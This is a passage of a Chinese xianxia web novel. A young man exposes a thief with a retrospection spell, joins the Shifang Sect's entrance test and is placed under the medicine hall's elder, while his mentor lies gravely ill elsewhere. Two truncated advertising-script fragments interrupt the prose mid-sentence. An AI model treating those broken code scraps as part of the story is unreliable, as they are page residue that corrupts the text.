正在指着人鼻子尖骂的是个头上带着个灰色布巾的佝偻的小老太,牙缺了七八颗,说着话直往外喷口水。 克古鲁连忙用手挡着碗往回撤了几步。 那正挨着骂的一脸不知所措的年轻人正是方才温卓看到的小修士。 他讲话文绉绉,事到如今仍试图和这老太正儿八经讲理,“您可以打开看,这里面的东西都是我的,您莫要诬陷。” 可这老太太哪理会这些,“你说东西是你的就是你的?小孩子家家谎话连篇,不知道是什么教养!” 这年轻人似乎还是想说些什么但是又露出些百口莫辩。 一众人竖着耳朵,只听,整个店里居然有点鸦雀无声。 路见不平拔刀相助。 看了会儿热闹的克古鲁越听越替这人憋屈,忍不住开口伸张正义:“诶这位老奶,我横看竖看,怎么看这位兄弟都也不像是偷你东西的模样啊。” 人总是拒绝做开路者,总是在有人出头之后才愿意站队。 克古鲁开了口,一群人这才七嘴八舌帮衬起来。 “是啊是啊,我早便觉着这小兄弟这么立整,一看就是哪家门派后生。” “白袍金边,看着……像是十方宗的弟子吧?” “对啊这位大娘,你也不能逮着这老实人欺负吧?” “是呀,人十方宗敲个墙角都是银包金,诬陷这老奶作甚?” 整个客栈的吃客一两个的都开始替这位年轻人说话,一时有些人声鼎沸。 大娘听了啐了口,“你们这帮人合着伙欺负我这老婆子!还有没有天理有没有王法啦!” 单说还不够,还伴以声泪俱下,一时间整个店里净是这缠绵悱恻余音绕梁的哭声。 这时候年轻人也顾不上自己被冤枉了,他急地左看右看,“各位,可否听在下一句劝……” 当然了,闹闹哄哄的店里谁听得到他这文弱的劝声呢? 大娘哭够了,调转由头,忽然开始指着克古鲁破口大骂。 骂到兴致高昂之时,她拖着一把老骨头十分费劲地从地上爬起来,扬着巴掌就要朝着克古鲁动手,一时间场面大为不雅。 克古鲁毕竟是个年轻人,总不至于真被这老婆子揍了去。他一个后撤便避开了这个耳光。 “你!”克古鲁盛怒。 突然他的肩头就被一只手按住。 克古鲁气得红了眼,气冲冲一转头。 结果身后是温卓。 温卓一袭做工不俗的玄色锦袍,个子又高,此时他正垂着眸子站在克古鲁身后,颇有些不怒自威的架势。 克古鲁是个对温卓言听计从的小狗腿子,自然是哑了声,而以正要动手的大娘为首的整个人群一时也安静下来。 温卓长得正,剑眉星目便是副公事公办、不说假话的模样。他安安静静道:“这布包他进来的时候便提着。” 那年轻修士听到这话感激地看他一眼。 那大娘啐了一口,“还以为你这娃娃是个公道的主,结果这厮也向着这小白脸在这儿扯谎?天理难容啊,一群修行弟子欺负我这个无力的糟老婆子啊……” 说着又想要挤出几滴泪。 克古鲁忍无可忍气哄哄开口:“喂!你这中原人怎么这么不讲理?我大哥说看到那就一定真的了!还能骗你不成!” 这两人又紧接着骂了几回合,吱哇乱叫,好不吵人。 莫名其妙成了克古鲁大哥的温卓头被吵得嗡嗡响。 他不耐烦地皱了眉,“好了,安静。” 随后两手交叠左手向地翻腕,直接就地落了个回溯咒。 咒障范围之大直接将整个客栈包裹了进来,一阵罡风以温卓为中心猛得冲开,风中一阵兵戈铁器之声,震得在场的人们耳鸣不止。 “回溯咒……”年轻人揉着被震得不太舒服的耳朵,不可思议地看向温卓。 温卓神色淡淡退到人群之外。 回溯咒,顾名思义便是可回溯前景。 此时客栈的咒障之中是几刻钟前的情景。 于是金边白袍的年轻人就提着他的破布包在众目睽睽之下走进来,规规矩矩落座,脊背打得很直,行得正,坐得端,打眼便是一个立整的学院派修行之人。 这灰头巾大娘先前便在店里蹲了好一会儿了,这时大概是觉着这年轻修士衣着不俗,估摸着那布包里估计也是好物,便自以为神秘地鬼鬼祟祟凑近,假装腰疼唉声叹气,一步三回头磨磨蹭蹭路过,说是迟那时快,这方才还病歪歪的大娘突然手一伸脚一蹬,噌得拐走了灰布包,可谓是身手矫健。 众人:…… 克古鲁大为震惊:“老奶,您这身手可有够活畅的!” 围绕的人群响起一片嗤笑。 这小老太脸上红一阵黑一阵,她抖着嘴唇色厉内荏,“……这,这是邪术!你们无耻!” 在一片骂声里回过神来的店小二按了按眉心,一边陪笑,一边大力把这个胡言乱语的老太往门外请。 “对不住各位客官,今儿一人免个菜,对不住了,大家多包涵哈。” 大家窸窸窣窣又说起来。 “真想不到这老太死的说成活的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” “那可不!这种街溜子就喜欢逮着年轻人下手,今天若是没有这位黑衣小兄弟,这年轻人估计要吃哑巴亏咯!” “这黑衣服小兄弟莫不是也是哪家修士?” “他这衣服看着好生贵重,但我怎么没记着哪家的弟子服是这样式?” “哈哈哈哈,怕不是你孤陋寡闻咯?” …… 温卓一抬手散了咒障,店内那之前的幻像消失,一切恢复如常。 回溯咒可是个相当高级的大法术,更别说他咒障落得如此轻松。 “这位小兄弟也是修仙之人?修为如此了得!” “这还是我这辈子第一回见仙家使法术,可真是神奇开了眼了!” “是呀,你看他当时那手一翻,一下子就起风了!” 如此云云。 那位十方宗的年轻弟子也在此时再度看向他。 温卓则是在一片人声中坐回到自己的桌前。 克古鲁屁颠屁颠地跟着,也坐回去了。他此刻已经无比心甘情愿扮演起来小弟角色,眼睛里都是星星:“大哥!您这法术!您这回可真就得是我大哥了!大哥受小弟一拜!” 说着就要行大礼,开始拜把子兄弟。 温卓无力地闭了闭眼。 还没等克古鲁问温卓是不是眼睛不舒服,那个年轻修士便走了过来,在两人桌前行了个端端正正的拱手礼。 “在下镜遥,十方宗内门弟子,”镜遥也就是十四五岁的样子,却颇为沉稳,“今日之事万分感谢公子出手相助,不知公子如何称呼?” 这中原人礼数多,温卓虽是不喜这繁文缛节,但到底是要入乡随俗,省得惹出不必要的麻烦。 他拱了拱手,“温卓。” “那这位小公子姓甚名谁?”镜遥看向克古鲁,“方才公子替在下言语,不胜感激。” “啊,我吗?我叫克古鲁。”克古鲁大手一挥,“你别这么客气,捎带脚的事儿。” “克古鲁?好拗口的名字。” “嘿嘿,我不是中原人,打北塞的札布萨来,我们那的人名字都是这样的。”说着,克古鲁扯扯自己的头发,尽管他拆掉了札布萨的辫子,换了中原样式,但这头发的浅颜色还是能看出他来自异域,“你瞧,我头发颜色也不是黑色的。” 镜遥一愣:“札布萨?” “对呀,”克古鲁一喜,“难不成你知道那?” 镜遥笑笑:“嗯,云州大陆边境,我知道。” 温卓看了镜遥一眼。 镜遥也看向温卓,笑道:“温公子也是札布萨来的吗?” 温卓垂着头不知在想什么,一时没回话。 克古鲁偏了偏头,见他大哥正沉默,连忙接过话头,“对对,他也是,不过他长得更像中原人,黑头发黑眼睛。” “在下今日见温公子修为极为了得,可是哪门哪派弟子?” 克古鲁又看看他继续沉默的大哥,琢磨着开口,“嗯我大哥的意思是说,他不是门派弟子,是来拜师求学的。” 镜遥大为震惊,“温公子年纪甚小,又为散修,能有这般功力当真是天赋不俗!” 克古鲁打量着他哥的脸色,继续硬着头皮上:“过奖过奖,天赋异禀,随便练练。” 温卓终于有了反应。他看了一眼克古鲁。 克古鲁佯装看不见,低下头安静如鸡。 “那两位小兄弟现在是要往何处去?或许我们可以同行。”镜遥问。 温卓收回睨了克古鲁的眼神,终于是自己开口了,“暂时不知。” 镜遥一愣随即笑道:“也是,你们初来乍到,多有疑问也是人之常情。” 克古鲁连连点头,“是呀是呀,我和大哥人生地不熟,不然镜兄告知一二?” 镜遥笑起来,“那当然好。那……从中原开始讲?” 温卓:“镜兄随意。” “嗯……云州的中原地区划分为北晔州和南泽州,当今仙门百家大多在此两处,所以中原是人尽皆知的修行圣地。”镜遥耐心地娓娓道来。 “两位小兄弟应该也了解,如今的修行大致分为剑修与术修,二者都以内功为基筑基练气,但剑修以剑练气,术修则是以气练气。北晔州的门派多为剑宗,南泽州则大多为术宗。我们如今所处之地便是在北晔,你们行街便能发现这里的人大多是配剑而行。 “剑、法两派分踞南北,互不侵扰相辅相成,大约两百年前,为了方便仙门事宜,五大门派自发组成了‘仙盟’,其中便有我师所在的十方宗,地处南泽,取意十方明亮。如今这些年来加入仙盟的门派越来越多,仙盟的势力也在壮大。” “十方宗。”温卓似乎是听到了感兴趣的东西,重复道。 “对,十方宗。”镜遥点点头,笑道,“虽然此话多有自夸之嫌,但若问法术,十方宗称第二,便无人敢称第一。” 温卓点点头。 “若温兄有意习法术,十方宗当为不二之选。”镜遥乘胜追击。 温卓点头,“多谢镜兄解惑。” “不足挂齿,”镜遥摆摆手,“反而我倒是有一冒昧问题相问,不知……温兄背上的寒铁弓是何处得来?” 再一次有人问到了这弓。 温卓这回没有那么意外,还是同样的回答,“家里人给的。” “温兄家里人真是好手笔,这弓本身便足够金贵,上面又刻着开了神的金光咒,做神级仙器都绰绰有余了。”镜遥一脸敬意。 “金光咒?” “对,金光咒,上古神咒,开神后有镇邪祟,安气神之效。尽管金光咒的咒文流传至今,但咒文的开神之法却失传已久,”镜遥道,“不知温兄家人又是从何处所得?” 温卓平淡道,“嗯,他自己刻的。” “嗯?”镜遥实实在在地愣住了,脸上的温和有礼一时有些龟裂,“自己刻的?金光咒?刻咒开神?温兄莫不是在玩笑?” 温卓看了他一眼。 “嗯。” 镜遥眨巴了眨巴眼,觉着他大概是说他方才的确是在开玩笑,后怕地长舒一口气,笑起来,“我就说呢。” 温卓又看他一眼。 7. 水火 “温兄今年多大年纪?” “十三岁。” “十三岁!那温兄真是好高的个子!我今年十六岁,你和我差不多高,我还以为你是和我差不多年纪!” “镜兄莫要谦虚。” “温兄年纪尚小,修为了得,真是罕见之才。” “过奖。” 两人又打太极似的囫囵了几个回合,看得克古鲁目瞪口呆。 他来到中原便总觉着这里怪,动不动行个礼,做什么都磨磨唧唧,说话也拖腔带调,废话连篇穷讲究,不过温卓好像完全不这么觉得。他依旧话少,但是礼数敬辞亮亮堂堂。 自如到仿佛是回了家。 “那温兄是否要随我同行前往十方宗?”镜遥三句话不离拐跑温卓的念头,“最近我们宗门正在招新弟子,凭温兄的资质定能被招入内门。” 镜遥原本以为自己还要费一番口舌连哄带骗,没料到听了这话的温卓客客气气一拱手,好不落落大方,“的确正有此意,若是镜兄不觉碍事,便是要麻烦镜兄带路了。” 镜遥被眼前这年轻人的直率搞得一愣。 温卓忽然偏了头朝克古鲁征求意见:“你愿去吗?” “我?大哥你问我吗?”克古鲁指了指自己,颇为震撼,“大哥你不用管我,你去哪我去哪,这不是早就说好了的?再说了,药郎先生上回说我根骨奇佳,若真是能进那什么十……十方宗,那感情好!我还能觉得委屈了不成?” 温卓“嗯”一声。 克古鲁欢天喜地地跟着傻乐。 于是乎这三人就这么上路出发往南去了。 头一天镜遥还跃跃欲试使了几回缩地术,结果一回缩到了雪山上,把三个人冻得脸青紫里透着煞白。一回缩到了大沙漠里,差点被晒成干尸。好在终于在第三回缩到了北晔的一个又偏又远鸟不拉屎的湖边,已经是撞了大运。 “求求你了,祖宗,别再缩了,能到这地界我已经很满足了,速速结束这场闹剧吧。”克古鲁被晒得眼冒金星,嘴皮起了里三层外三层,跪下求镜遥饶命。 温卓闭了闭眼,板着脸没说话。 镜遥恋恋不舍地“哦”了一声。 于是最终结果就是三个人骑着两匹马嗒嗒嗒靠原始的两条脚赶路了。 温卓不太爱和别人离得太近,镜遥便和克古鲁骑一匹马。 这下倒好,先前只一个克古鲁,温卓尚能用“我不搭话他便会安静”的法子应对,如今加了个镜遥这法子是彻底没了用处。 他是真的没想到这温润如玉沉稳异常的镜遥私下居然能这般话多,与克古鲁两个人在一个马背上聊得那叫一个缘浅缘深你来我往相见恨晚,活像马背上坐了两只麻雀。 温卓听着这叽叽喳喳,在前方是越走越沉默。 虽然克古鲁说过很多次,他大哥不是个活泼性子,但镜遥却总觉着温卓与他说话时推拉圆盘,并不像是不太会说话的样子。 可同行了两三天,镜遥无数次启发式引导话术都以失败落空的时候,他终于是不得不承认,这人完全能说得上是个闷油壶。 不过这个假哑巴又莫名其妙地对于某些话题会表现出莫大的耐心。 比如“这只金雕是你自己养的吗?”他答:“算是吧,家里人爱养。” 又或者是“温兄你的行为举止完全就是我们这边的做派,真不像异邦人。”他答:“家里人是中原人,看惯了。” 诸如此类。 可不么,比起温卓“嗯”长“嗯”短,这些答复已经是难得的热情洋溢的长句子了。 一行人就这么走了十来天终于到了南泽州。 这南泽州又是和北晔州完全不同的一副光景,如今看时节其实还是晚冬初春,春寒料峭的时候,但南泽州却已经绿了起来。 杨柳春燕,湖泽遍地,斜顶瓦房,青石拱桥,泛舟江上。 好一幅江南图景。 在这人间仙境之处的东方有一群山,那几座山高如通天,站在山脚只能看到山群的半山腰,再往上的山头便都隐在了雾气中,怎么看都看不真切。 十方宗便在这群山之顶,云雾之上。 不过这山可不是想上便上的,欲进十方宗首先就是要走九千级云梯。 “云梯上有阵法,不能使用法术,这也算是对上山之人的第一道试炼。”镜遥道。 温卓点点头。 他把自己的金雕和两匹马收进识海,便跟着镜遥和克古鲁登云梯。 他们一路穿过了那层雾,雾层之上更是别有洞天。 郁郁葱葱的阔叶树、杨树、柳树,亭榭楼台,高塔吊桥,竟都是一色的金丝楠木所建,打眼一看一片金碧辉煌,飞檐垂脊,最外的仙人骑风高高翘起,袅袅钟声,宛似仙人居。 不过这仙人居非常不隐晦的镶金带银还是十分令人咋舌。 克古鲁合不拢嘴,“我还以为修仙之人都是喝露水清心寡欲得很,你们这门派倒是阔。” 镜遥却是摇摇头怒其不争地叹气,“我们这宗门是自古一脉相承下来的奢靡,你们……多习惯罢。” 温卓不知是想到什么人或事,低头笑了一下。 继续往上,镜遥便开始为他们介绍:“十方宗分为斗宗和药宗,想要拜入十方宗首先便是要通过入门测试,到时候掌门会用琉火镜看你们的灵基,若是天赋合格便招入内门。我们十方宗的长老个个有通天的本事,斗宗的长老你们随便挑便是。” 克古鲁问,“那药宗呢?为何不能选药宗长老?” “药宗?”镜遥一哂,“两位有所不知,我们十方宗的药术师仍旧是战术、药术兼修的传统药术师,选拔条件本就严苛,而十方宗的药宗招收弟子更是热衷于吹毛求疵,能达这门槛的弟子是凤毛麟角,我们寻常人连想都不用想。” “再者这药宗修行也极苦,考核更是严苛,半月一回,不合格便是要卷铺盖回家,可不是我们斗宗那种排排名的小打小闹,”镜遥啧啧两声,“药宗从不收外门弟子,于是如今硕大的药宗里十六个长老,居然只有三名内门弟子,而且说不准哪天也就要被赶回家了。” 克古鲁听得一愣一愣,“这药宗居然如此可怖。” 镜遥笑了起来,道:“我也是吃不到葡萄说葡萄酸,若不是我灵基不及格,这药宗哪怕是龙潭虎穴我也得去看看不是?” 克古鲁立刻就被他逗乐了。 温卓有一搭没一搭地听着。自从到了南泽,他头痛的频率越来越高,如今登着云梯太阳穴突突跳着,让他颇有些心不在焉。 说话间几人已经登上了云梯。 山顶便是入门测试的广场,场地全石所建,四周半封闭围栏,其上嵌白玉色长明灯,地面的雕花是祥云玉鸟,十分精细,中央围绕九个泰山石球,寓意镇邪除祟。 此时广场上人挺多,都是干干净净的相貌和穿着,此时正依次排着队,无一人作声。 镜遥小声道:“这里是九球坛,掌门和长老就在前面长阶之上,你们过会儿就跟在人群排队就好了。” “诶!镜遥师弟?”忽然身后传来一人说话声。 几人闻声看去,说话之人是一个娃娃脸大眼睛的年轻人,一袭白金袍,装束和镜遥别无二致。 镜遥笑着打招呼:“原佰师兄。” 原佰看着唇红齿白,十分有精神气,一看就是个跳脱性子,他乐呵呵道:“师弟是今天刚回来?除祟怎么样?遇没遇到危险?” 镜遥笑眯了眼,“一切顺利,今天刚回来。你瞧,我这法器里装着的就是那作恶的厌族。” 随后提了提他的灰布包。 闻言,温卓和克古鲁也多看了几眼。 一路上他们两个怕太冒昧便没问,没想到这其貌不扬的破包里装的居然是法器。 又想到这破布包甚至差点被那老小偷顺走,温卓和克古鲁用一种奇妙的目光看了一眼镜遥。 这人还在那提着个布包傻乐呢。 “这两位是?”原佰问道。 “在路上遇到这两位小兄弟要来十方宗拜师求学,就一路同行了,”镜遥道,“这位是温卓,这位是克古鲁。” “哦哦哦原来是未来的师弟!”原佰呵呵笑起来,“我叫原佰,斗宗青木长老门下弟子。” 克古鲁和温卓各自打了招呼。 随后镜遥又和原佰寒暄了几句。 “……师弟我得先走了,师尊说后山的封印大阵的鼓心松动了叫我去看,我净忙着在这儿凑热闹了,到现在还没去呢,”原佰道,“再耽搁就要挨数落了。” 镜遥“啊”一声,想到他们师尊发火的脸打了个寒颤。 两人你情我浓之乎者也地告别了一番。 “你们师兄弟关系真好啊。”克古鲁看着原佰一步三回头的背影感叹。 镜遥笑起来,“是啊,我和原佰师兄师出同门,他同我一般大不过拜师比我早。我刚来的时候什么都不懂,大事小事都是原佰师兄帮衬,确实是亲近得多。” “镜兄你也是刚回宗门,有没有急事在身?有急事的话便去忙吧,我和大哥人高马大的,也走不丢。” 镜遥无所谓地摆摆手,“我没有急事,只是要照例向师尊禀报问安,也不外乎是见到了什么呀,学到了什么呀,有什么感想呀这一类,过会儿再去就是。” 克古鲁“哦哦”好几声,这才放下了心。 一直有些游离的温卓在一旁开了口:“可否请问镜兄,方才原兄提到的封印大阵是何物?” 镜遥被问得愣了一下,不过很快便道:“哦,不是什么稀罕物,就是仙门每门每派成立之时都会布置的一个大法阵,可以指示云州异动和非人之气入侵。” 温卓点了点头,垂着眸子不知在想些什么。 春烟满楼,斜阳顷顶。 说话间,温卓和克古鲁两人已经一前一后排到了队尾,镜遥便在一边安静跟着,不再打扰。 很快,他们便知道这排队的队伍为什么这么安静了。 因为这能成功入宗门的人未免也太少! 折返的年轻人,十人中七八人是没通过入门测试要回家了的——一路上一把鼻涕一把泪的,哭哭啼啼逆着人流往回走,谁看了不得心里打个哆嗦。 克古鲁原本以为是走个过场,哪能想到现实情况时居然是如此惨烈。 他越看越心里直打鼓,正巧他又是个一紧张就小动作多的人,如今更是抓耳挠腮。 克古鲁紧张兮兮回头看向温卓:“大哥,你说我真能通过么?” 温卓比克古鲁高半个头,他垂了垂眼睑扫过克古鲁的脸,“能。” “可是我在私塾法术就学得差,真能通过么?” “能。” “我长这么大只听过药郎先生说我天赋好,我真的能通过么?” “能。” 克古鲁还想继续说些什么,不过队伍前进地很快,三言两语间已经轮到了克古鲁。 这更是让他心里七上八下,瞟了台上瞟身后,看着好是不从容。 长阶之上站着一位年老的长者,鹤发曲背,撑着一根深褐色的拐杖。在他身后是十几名穿着金边白袍的宗门长老,他们的服饰和弟子服有些许不同,立领长袍,袖摆之上的花纹更为繁琐,腰间挂着金丝楠木的宗门令牌。 十方宗的掌门,秦鹤生。 他身边无凭无依悬浮着一面紫气化成的虚影似的镜子,镜面之内一片黑暗。这大概便是那琉火镜。 秦鹤生生得一副慈眉善目的模样,他朝下摆摆手,笑道:“过来吧,孩子。” 虽然掌门的音容笑貌都极为亲和,但是克古鲁的心就确实是随着他说话被揪到了嗓子眼。 坏了,肚子也开始疼了。 正当他险些同手同脚往台阶上去时,温卓的声音忽然不轻不重地在身后响起。 “阑音说你天赋好那便是了,宽心去。” 温卓也断然不是会虚头巴脑说假话安慰人的人,甚至由于提到药郎隐约透露出一种来路不明的骄傲。 并不以宽慰人为目的的话更能宽慰人。 奇妙的,克古鲁咚咚跳的心忽然落到了原位。 是啊,药郎先生都说过了,札布萨的边塞神仙说的,哪能有假,我还在怕什么! 他忽然一下子便安了神,深吸一口气走上前去。 秦鹤生看着克古鲁走上台阶,笑道,“长得好特别的娃娃,叫什么名字?” 克古鲁一头浅色头发,的确是让人想不注意都难。 如今这异邦少年正学着中原人行了个歪七扭八的拱手礼。 “回掌门,我叫克古鲁,北塞札布萨来的。” 听了这话九球坛上所有长老纷纷看向他,就连秦鹤生都眯了眯眼,“札布萨……” 他声音含混,听不真切,就连最近的克古鲁都没有听清。 不过秦鹤生很快就恢复了他慈眉善目老者的模样,“好了,札布萨来的孩子,把手放在镜子前吧。” 克古鲁突突着心,很听话地把手颤巍巍放上。 镜内的黑色气雾升腾,宛如触手一般缓慢蜿蜒向上,将克古鲁的右手包裹起,后又一路攀爬至小臂处才开始退回。 黑雾缓慢地化为了水红色。 克古鲁看着这红色心里又开始七上八下。 秦鹤生的拐杖点了点地,随后回头,“秉文,你怎么看?” 克古鲁温声愣愣地看去,只见那位说话的是位女长老,眉目英气,此时垂着眸子显得有些冷淡。 “若火相,还不错。” “……这是秉文长老,门派每年的招收弟子,包括后续的拜师宴都是由她负责。”底下,镜遥压低着声音和温卓八卦,“不过秉文长老和我师尊好像一直不太对付,平日见个面两个人凑不出一对黑眼珠,平路相逢都得踩两脚才舍得走。” 温卓收回了在台阶之上的目光,“镜兄,方才那位拿折扇的长老看了你一眼。” 镜遥“咻”地垂下头噤了声。 原因无他,只是因为那位拿着折扇头上插金带银像只孔雀的正是镜遥的师尊——青木长老。 “的确不错,多加教导定有所为。”秦鹤生笑道,“克古鲁,你瞧瞧看想要去哪位长老那里?我听听你的想法。” 克古鲁原本还发着愣,秦鹤生一嗓子才把他叫回了神,“我,我通过了吗?” 秦鹤生点了点拐杖,声音带上了笑意,“是啊。” 听了这话,克古鲁才后知后觉地开始有了喜悦的实质感,他眼睛亮亮的但是脑袋依旧空空。 他不认识这些长老,打眼一瞧也看不出个四六。 挑师尊……他总觉着昨日还在札布萨私塾里挨着训,今天何德何能居然在这儿挑起师尊了! “那……我想拜师青木长老门下,可否?” 这倒也没什么别的原因,主要是自打克古鲁落地南泽,只听过这一人的名讳。 退一万步讲,他一个化气为实还练得磕磕巴巴的小孩子,挑谁也不会吃亏嘛。 青木长老原本还在睨着底下不知死活的镜遥,拿鼻子出着气,忽然听到自己的名字一愣,转过了头。 “青木啊……青木好,”秦鹤生十分赞同地点点头,“青木那里的孩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子都是你这个年纪,你去他那也好。你觉得呢,青木?可否啊?” 青木合上绸扇,桃花眼一弯,“确如掌门所言,甚好。” 秉文在一旁哼了一声。 青木咬了咬牙,“不知秉文长老有何高见?” 秉文侧目他一眼,又哼一声才移开了目光。 秦鹤生早习惯了这俩人天天掐到一块儿的光景,和事佬似的咳了下,“好了,多大的人了还是小孩脾气。” 随后他神色如常,宛如什么都没发生过似的从容看向克古鲁,“我们十方弟子都住在坤池峰,那你便随他们一同住下就是,别太拘束。等到过几日的拜师宴便可拜师青木门下了。” 克古鲁连连点头,笑出了一对虎牙,“谢掌门!” 秦鹤生笑着点点头,“好,好,那你便可早回坤池峰休整了。下一位……对,就是你,孩子,过来吧。” 温卓稳稳与秦鹤生对视一眼后,得了话,没什么犹豫地抬脚便朝上走去。 正逢克古鲁欢天喜地跳下台阶,他由于过于激动和兴奋,脸上已经冒出了一层薄汗。两人路过之时他压着嗓子:“大哥!我通过了!” 温卓颔首轻声道:“祝贺。” “镜兄!我通过了!”克古鲁心里兴奋不已,下了长阶很快便跑回了镜遥身边,叽叽喳喳说着快乐。 镜遥心里也高兴,撞了撞克古鲁的肩膀,“这回我俩真是成了同门师兄弟。” 要知道他可是他们师门辈分最小的,五年啊,五年,终于盼来了个师弟。 可算熬出头了。 镜遥心中抹泪。 温卓此时已经在琉火镜前站定。 等了一会儿,他还是没听到秦鹤生开口说话。 他不卑不亢抬头看去,发现秦鹤生正在看他背上背着的弓。 随后他看到秦鹤生回了下头,似乎是和哪位长老交换了一下目光。 接着秦鹤生重新看向温卓,慈眉善目地笑起来,“孩子,你叫什么名字?” “温卓。” “我瞧你背上有一把寒铁弓,这是哪里来的?” 这个问题温卓已经听了无数遍了,但他还是很有耐心地回答:“家里人给的。” “原来如此,”秦鹤生点点头,似乎是没打算继续深究,“好孩子,把手放到琉火镜前吧。” 结果温卓的手刚靠近琉火镜,镜中的黑雾忽然像察觉到了什么,居然惊慌失措地震荡起来,甚至是向更内处逃散而去,整个琉火镜的紫色气雾也随着散乱起来,黑色紫色激烈地缠绕着几乎要散开来。 温卓皱起了眉。 “掌门,琉火镜好像坏了。” 他诚实道。 秦鹤生似乎对此颇为意外,以至于他凑近去眯着眼仔细瞧了瞧。 “琉火镜以其之气为金火象而神奇,金火相克,二气冲突于是多为包容万气。若灵气所属与金、火皆为冲突之时,琉火镜便会生此异象。”秦鹤生摸了摸胡子,“金火相克是为水火,水火为大象,共存即为死相。奇哉。” “你且上前待我细细看来。” 温卓依言上前站到秦鹤生前方。 他伸出手在温卓额头上一抹,当即温卓便感觉到一小簇陌生的灵气瞬息之间流窜了全身。 秦鹤生眯了眯眼:“居然确为水火二象灵基……还有极弱的木象灵气……不过木象大约为疗愈所存。” “灵基沉满,灵脉充盈,死相之圜生,且天赋极佳。怪也,怪也。”秦鹤生敲着拐杖兀自琢磨,“平日运气身体可有不适?” 温卓:“并无。” 其实温卓对于他体内的这异象并不感到意外。 平日在修炼之时他便时常能感到体内有二气冲撞,玉阑音对此倒是含糊地提到过“未尝为坏事,平日需多加注意运气筑基。” 如今看来,玉阑音定是很早便窥探到此。 体内那疗愈的木象灵气大约也是玉阑音的手笔了。 心念至此,他忽然有些难以克制地思念起这人。 也不知他是否一切安好。 “若如此,你便是要比那琉火镜更要珍贵奇诡了,”秦鹤生朗声笑起来,“想不到今日我十方宗居然有这般奇才到来。” 温卓心里正心心念念着玉阑音,对于秦鹤生这客套话左耳朵进右耳朵出,闻言只是拱了拱手:“掌门谬赞。” “那……你是否有心随善玄修行?” 直到秦鹤生说完这句话,温卓才真正地算是回了神。 秦鹤生身后有位长老闻言骤然抬起了头。 他的腰间挂着一个十分显眼的、刻着“药”字的令牌。 药宗首席长老——善玄。 善玄看起来是秦鹤生身后众长老中最为随性的一个,他外袍穿得并不板正,半开着前襟,束发也束得松松垮垮,一副随时要骑着仙鹤游遍大好河山道教徒的模样。 冷不丁被提到,善玄忽然用一种奇异的、难以置信的目光看向秦鹤生。 此言一出,全场俱静。 虽然底下正排着队的少男少女已经安静如鸡,但是确实是更安静了些。 随后片刻,全场哗然。 “天哪,药宗!” “掌门居然钦点他进药宗!” 底下全是窸窸窣窣地惊叹的动静,还有不少人踮着脚抬着脖子往前看,试图看看这药宗弟子的真容。 镜遥也惊叹出声:“不愧是温兄!” 克古鲁练练附和:“不愧是大哥!” 善玄似乎想说些什么,连连摆手,“掌门,我……” 秦鹤生朝他做个了“噤声”的眼神。 于是乎善玄灰溜溜地闭嘴了。 温卓却蹙眉。 进药宗…… 他可比任何人都清楚他自己不是当药师的料。 “回掌门,晚辈不才,有意修习药术多年仍未开悟,深知自己绝非药修之玉,愚不可及,恐难受此殊荣,请掌门谅解。” 温卓年轻又清脆地声音忽然响起,声音不大却足以让在场人听个清楚。 全场再度哗然。 这个黑衣服小子什么来头! 那可是药宗! 其实十方宗能成为南泽州的第一仙门,最主要的原因便是它的药宗。药术师本就稀有,双术兼修的传统药术师更是珍贵,而十方宗的药宗整整有一十六个药术长老,一十六个! 就是这个众人挤破头都进不去的药宗,这小子居然张嘴就回绝了! 镜遥:“啊?” 克古鲁:“啊?” 秦鹤生笑着看着温卓,一脸满意,“小温啊,你不必自谦至此。不过你或许不知,我十方宗药宗虽以药术闻名,但斗术也同样数得了天下第一。” 温卓听着。 “你若是愿意入药宗,又无做药修之心,那便只管跟着善玄学斗术,药术那些不理会也罢。”秦鹤生继续道,“别看善玄这副模样,若要论辈分和资历,你面前这些长老们可都得叫他一声师叔。无论是斗术还是药术,善玄可都实实在在对得起‘术仙’这名号。而且你水火二灵基奇象,整个仙盟恐怕也只有善玄能指点你一二了。如此说来,你可愿?” 温卓低头沉思片刻,拱手垂头,“是晚辈误解掌门一片苦心,晚辈愿意随善玄长老修行,定不负掌门期待。” “好好好,”秦鹤生连说三个好,“善玄,你可有意见?” “意见自然是没有,只是……”善玄脸上白一阵红一阵,最终嗫嚅似的开口,“只是……这……实在是折煞我也。” 秦鹤生慈眉善目地剜了他一眼。 8. 太嵇 札布萨。 玉阑音在温卓离开当日便烧得失去了意识,倚靠着门框晕了两天一夜,直到第三天傍晚才被一阵大力摇醒。 他像是刚从水中捞出,全身上下的每一根骨头都疼痛难忍,嘴唇也因为脱水干裂开来,脸色惨白,甚至是透出了青紫,黑色的瞳孔无力地扩着。不像人,倒像是索命的厉鬼。 “……太嵇!太嵇!” 玉阑音眼前一片模糊,耳鸣不止。 “……太嵇!” 有人在叫他。 “太嵇!不许闭眼!” 不许闭眼。 “醒醒!太嵇!” 玉阑音眼前晕眩,终于在一片晃荡中看清了来人的脸。 来人穿着及膝玄青色收腰长袍,衣摆绣着鸦青色暗边,黑色下裤板板正正掖进漆皮靴中,头发束得很高,看着利索又硬朗。 这人此刻正一脸担忧地摇着他的上半身。 “宿央……” 玉阑音声音嘶哑道难以辨别。 “是我,是我。”元宿央应道,“你别再说话了,我先扶你到床上去。” 元宿央半搂着玉阑音只觉着是在搂着个空壳木头架子,瘦弱至极,他忙往玉阑音体内运气,通行一周后他几乎是要咬碎后槽牙,“太嵇,你身体为何虚空成这样!” 玉阑音的灵基空空荡荡,没有一丝灵气,甚至已有挛缩之势,周身的灵脉也已经完全枯萎。方才他运灵气进去,这些枯萎的灵脉居然难以为继,直接被冲碎开来。 一片死气。 “你这……你这……” 元宿央说着说着声音越来越小,嘴唇都在颤抖,“太嵇……你……” 他再也说不出话,只能抿着唇一遍一遍朝里运输着灵气,如石沉大海。 玉阑音意识还是模糊,他安抚似的拍了拍元宿央的胳膊,声音嘶哑难辨,“结界被冲破一向是这般,只是这次更严重些……不必担心。” “你……”元宿央眼中不知是何种情绪使然,直接红了眼眶,“……我就想问一句凭什么……你凭什么就要在这里受这种苦,玉阑音,我……” “衍宣。” 元宿央法号衍宣,平日玉阑音从不以法号称呼他,此刻骤然听到,元宿央几乎是当时便止了话。 元宿央垂着头沉默良久,才开口问道:“我现在能做些什么?” 玉阑音虚弱到咳都咳不出声,只摆了摆手,大约是在说:不必理会。 